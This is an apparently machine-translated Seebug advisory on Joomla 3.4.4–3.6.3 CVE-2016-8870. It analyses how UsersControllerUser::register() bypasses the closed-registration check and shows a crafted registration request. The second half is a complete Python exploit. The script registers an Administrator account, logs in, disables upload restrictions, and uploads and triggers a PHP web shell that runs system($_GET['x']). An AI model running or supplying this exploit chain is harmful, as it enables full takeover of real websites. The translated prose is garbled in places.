Lucene search

K
seebugT1m30ffSSV:92496
HistoryOct 26, 2016 - 12:00 a.m.

Joomla 3.4.4 - 3.6.3 not authorized to create user vulnerability

2016-10-2600:00:00
t1m30ff
www.seebug.org
77

0.929 High

EPSS

Percentile

99.1%

Author: p0wd3r (know Chong Yu 404 security lab)

Date: 2016-10-26

0x00 vulnerability overview

1. Vulnerability description

Joomla is a free open source content management system, recently researchers found in its 3. 4. 4 to 3. 6. 3 version there are two vulnerabilities: CVE-2016-8869, the CVE-2016-8870。 We here only analyze the CVE-2016-8870, using this vulnerability, an attacker can close the register to register the user. Joomla official has for this vulnerability is released to upgrade the Bulletin to.

2. Vulnerability

The site closed registration in the case can still create the user

3. Impact version

3.4.4 to 3.6.3

0x01 vulnerability reproduction

1. Environment to build

bash wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

After decompression into the server directory, for example/var/www/html

Create a database:

bash docker run --name joomla-mysql-e MYSQL_ROOT_PASSWORD=hellojoomla-e MYSQL_DATABASE=jm-d mysql

Access server path for installation.

2. Vulnerability analysis

In the presence of vulnerabilities the version we can see an interesting phenomenon, namely the existence of two for the user registration method:

  • Located in the components/com_users/controllers/registration.php in UsersControllerRegistration::register()
  • Located in the components/com_users/controllers/user.php in UsersControllerUser::register()

We look at the code:

UsersControllerRegistration::register():

``php public function register() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_(‘JINVALID_TOKEN’));

 // If registration is disabled - Redirect to login page.
 if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
 $this->setRedirect(JRoute::_('index. php? option=com_users&view=login', false));

 return false;
}

 $app = JFactory::getApplication();
 $model = $this->getModel('Registration', 'UsersModel');

 // Get the user data.
 $requestData = $this->input->post->get('jform', array(), 'array');

 // Validate the posted data.
 $form = $model->getForm();

...
}

``

UsersControllerUser::register():

``php public function register() { JSession::checkToken(‘post’) or jexit(JText::_(‘JINVALID_TOKEN’));

 // Get the application
 $app = JFactory::getApplication();

 // Get the form data.
 $data = $this->input->post->get('user', array(), 'array');

 // Get the model and validate the data.
 $model = $this->getModel('Registration', 'UsersModel');

 $form = $model->getForm();

...
}

``

Can be seen with respect to the UsersControllerRegistration::register(), the UsersControllerUser::register() implementation and not the few lines of code:

``php // If registration is disabled - Redirect to login page. if (JComponentHelper::getParams(‘com_users’)->get(‘allowUserRegistration’) == 0) { $this->setRedirect(JRoute::_(‘index. php? option=com_users&view=login’, false));

return false;

} ``

This few lines of code is to check whether to allow the registration, that is to say if we can use UsersControllerUser::register() this method to register you can bypass this detection.

Pass the test shows that the normal register used is UsersControllerRegistration::register(), the request packet is as follows:

`` POST /index. php/component/users/? task=registration. register HTTP/1.1 … Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryefGhagtDbsLTW5qi … Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[name]”

tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[username]”

tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[password1]”

tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[password2]”

tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[email1]”

[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[email2]”

[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“option”

com_users ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“task”

registration. register ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“yourtoken”

1 ------WebKitFormBoundaryefGhagtDbsLTW5qi–

``

Although the normal registration and does not use UsersControllerUser::register(), but does not mean that we cannot use. Reading the code shows that as long as the request packet is modified as follows to use the presence of a vulnerability function for registration:

  • registration. register -> user. register
  • jform[*] -> user[*]

So the complete reproduction process is as follows:

1. First, in the background close the registration function, after the closure of the home page with no registration options:

Alt text

2. Then by accessing index.php capture get the cookie, by looking at the index.php source code access token:

Alt text

Alt text

3. Construct a registration request:

`` POST /index. php/component/users/? task=registration. register HTTP/1.1 … Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryefGhagtDbsLTW5qi … Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[name]”

attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[username]”

attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[password1]”

attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[password2]”

attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[email1]”

[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[email2]”

[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“option”

com_users ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“task”

user. register ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“yourtoken”

1 ------WebKitFormBoundaryefGhagtDbsLTW5qi-- ``

4. Contract, the successful registration:

Alt text

3. Patch analysis

Alt text

Official deleted UsersControllerUser::register() method.

0x02 repair program

Upgrade to 3. 6. 4

0x03 reference

http://paper.seebug.org/86/

<https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html&gt;

<http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html&gt;

<https://www.youtube.com/watch?v=Q_2M2oJp5l4&gt;


                                                # Getshell exp,使用方法参考 https://github.com/XiphosResearch/exploits/tree/master/Joomraa

#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import base64
import os
import random
import time
try:
	# Python 2.6-2.7 
	from HTMLParser import HTMLParser
except ImportError:
	# Python 3
	from html.parser import HTMLParser

"""
How to exploit:

  1) Run script, get user access
  2) [optional] - Activate your account
  3) Go to Content > Media
  4) Click 'Options'
  5.1) Add php3, php4, php5, pht to 'Legal Extensions' & Legal Image Extensions
  5.2) Disable 'Restrict Uploads' & 'Check MIME Types'
  6) Upload '.pht' file with:
      <?= system($_GET['x']);
  7) Pwned
"""

def randomname(extn='.pht'):
	return base64.b32encode(os.urandom(20))[:random.randint(5, 10)] + extn

def extract_token(resp):
	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
	if match is None:
		print("[!] Cannot find CSRF token")
		return None
	return match.group(1)

def try_admin_login(options, sess):
	admin_url = options.url + '/administrator/index.php'
	print('[-] Getting token for admin login')
	resp = sess.get(admin_url)
	token = extract_token(resp)
	if not token:
		return False
	print('[-] Logging in to admin')
	data = {
		'username': options.username,
		'passwd': options.password,
		'task': 'login',
		token: '1'
	}
	resp = sess.post(admin_url, data=data)
	if 'task=profile.edit' not in resp.text:
		print('[!] Admin Login Failure!')
		return
	print('[+] Admin Login Success!')
	return True

def get_media_options(options, sess):
	print("[+] Getting media options")
	media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
	resp = sess.get(media_options_url)
	results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
	if not results:
		print("[!] Fail")
		return
	return dict(results)

def set_media_options(options, sess, data):
	"""
	Allow us to upload a .pht file
	"""
	print("[+] Setting media options")
	newdata = {
		'jform[upload_extensions]': 'bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
		'jform[upload_maxsize]':10,
		'jform[file_path]':'images',
		'jform[image_path]':'images',
		'jform[restrict_uploads]':1,
		'jform[check_mime]':0,
		'jform[image_extensions]':'bmp,gif,jpg,png',
		'jform[ignore_extensions]': '',
		'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
		'jform[upload_mime_illegal]':'text/html',
		'id':13
	}
	newdata.update(data)
	newdata['component'] = 'com_media'
	newdata['task'] = 'config.save.component.apply'
	config_url = options.url + '/administrator/index.php?option=com_config'
	resp = sess.post(config_url, data=newdata)
	if 'jform[upload_extensions]' not in resp.text:
		print('[!] Maybe failed to set media options...')
		return False
	return True

def add_item(data, field, item):
	return ",".join(set(data.get(field, '').split(',') + [item]))

def stage_two(options, sess):
	"""Now we are logged in to admin area,
	   use this to gain shell execution using .pht upload.
	   Ooh, scary super 0-day lol ^_^ *rolleyes*
	"""
	media_options = get_media_options(options, sess)
	if not media_options:
		return False
	old_options = media_options.copy()
	media_options.update({
		'jform[check_mime]': 0,
		'jform[restrict_uploads]': 0,
		'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'),
		'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'),
		'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream'),
	})
	if not set_media_options(options, sess, media_options):		
		return False
	image_path = media_options.get('jform[image_path]', 'images')
	return upload_file(options, sess, image_path)

def upload_file(options, sess, image_path):
	print("[*] Uploading exploit.pht")
	url = options.url + "/administrator/index.php?option=com_media&folder="
	resp = sess.get(url)
	match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
	if not match:
		print("[!] Cannot find file upload form!")
		return False
	upload_url = HTMLParser().unescape(match.group(1))
	filename = randomname()
	exploit_url = "%s/%s/%s" % (options.url, image_path, filename)
	print("[*] Uploading exploit to:", exploit_url)
	files = {
		'Filedata[]': (filename, options.exploit, 'application/octet-stream')
	}
	data = dict(folder="")
	resp = sess.post(upload_url, files=files, data=data)
	if filename not in resp.content:
		print("[!] Failed to upload file!")
		return False
	print("[*] Calling exploit")
	resp = sess.get(exploit_url)
	if options.search not in resp.content:
		print("[!] Search string not in exploit")
		print(resp)
		return False
	print("[$] Exploit Successful!")
	return True

def create_user(options, sess, token):
	"""
	Create an Administrtaor user using the CVE
	"""
	data = {
		# User object
		'user[name]': options.username,
		'user[username]': options.username,
		'user[password1]': options.password,
		'user[password2]': options.password,
		'user[email1]': options.email,
		'user[email2]': options.email,
		'user[groups][]': '7',	# Yay, Administrator!
		# Sometimes these will be overridden
		'user[activation]': '0',
		'user[block]': '0',

		# Form data
		'form[name]': options.username,
		'form[username]': options.username,
		'form[password1]': options.password,
		'form[password2]': options.password,
		'form[email1]': options.email,
		'form[email2]': options.email,
		'form[option]': 'com_users',
		'form[task]': 'user.register',
		token: '1',
	}
	return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)

def parse_options():
	try:
		exploit_file = open('filthyc0w.pht', 'r')
	except Excption:
		exploit_file = None
	parser = argparse.ArgumentParser(description='Jooma Exploit')
	parser.add_argument('url', help='Base URL for Joomla site')
	parser.add_argument('-u', '--username', default='hacker')
	parser.add_argument('-p', '--password', default='password')
	parser.add_argument('-e', '--email', default='[email protected]')
	parser.add_argument('-s', '--search', default='098f6bcd4621d373cade4e832627b4f6')
	parser.add_argument('-x', '--exploit', default=exploit_file, type=argparse.FileType('r'))
	return parser.parse_args()

def pwn_joomla(options):
	sess = requests.Session()
	print("[-] Getting token")
	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
	token = extract_token(resp)
	if not token:
		return False
	print("[-] Creating user account")
	resp = create_user(options, sess, token)
	can_login = try_admin_login(options, sess)
	if not can_login:
		# TODO: periodically check if we can login as admin
		print("[-] Check email for activation code")
		try:
			resp = raw_input('[?] Press any key after activation')
		except KeyboardInterrupt:
			return False
		can_login = try_admin_login(options, sess)
		if not can_login:
			return False
	return stage_two(options, sess)

def print_logo():
	clear = "\x1b[0m"
	colors = [31, 32, 33, 34, 35, 36]

	logo = """                                                                                                                    
     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  
"""
	for line in logo.split("\n"):
		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
		time.sleep(0.05)

def main(base_url):	
	options = parse_options()
	print_logo()
	if pwn_joomla(options):
		print("[$] SUCCESS:", options.url)
	else:
		print("[*] FAILURE")

if __name__ == "__main__":
	sys.exit(main("http://192.168.10.100:8080/joomla"))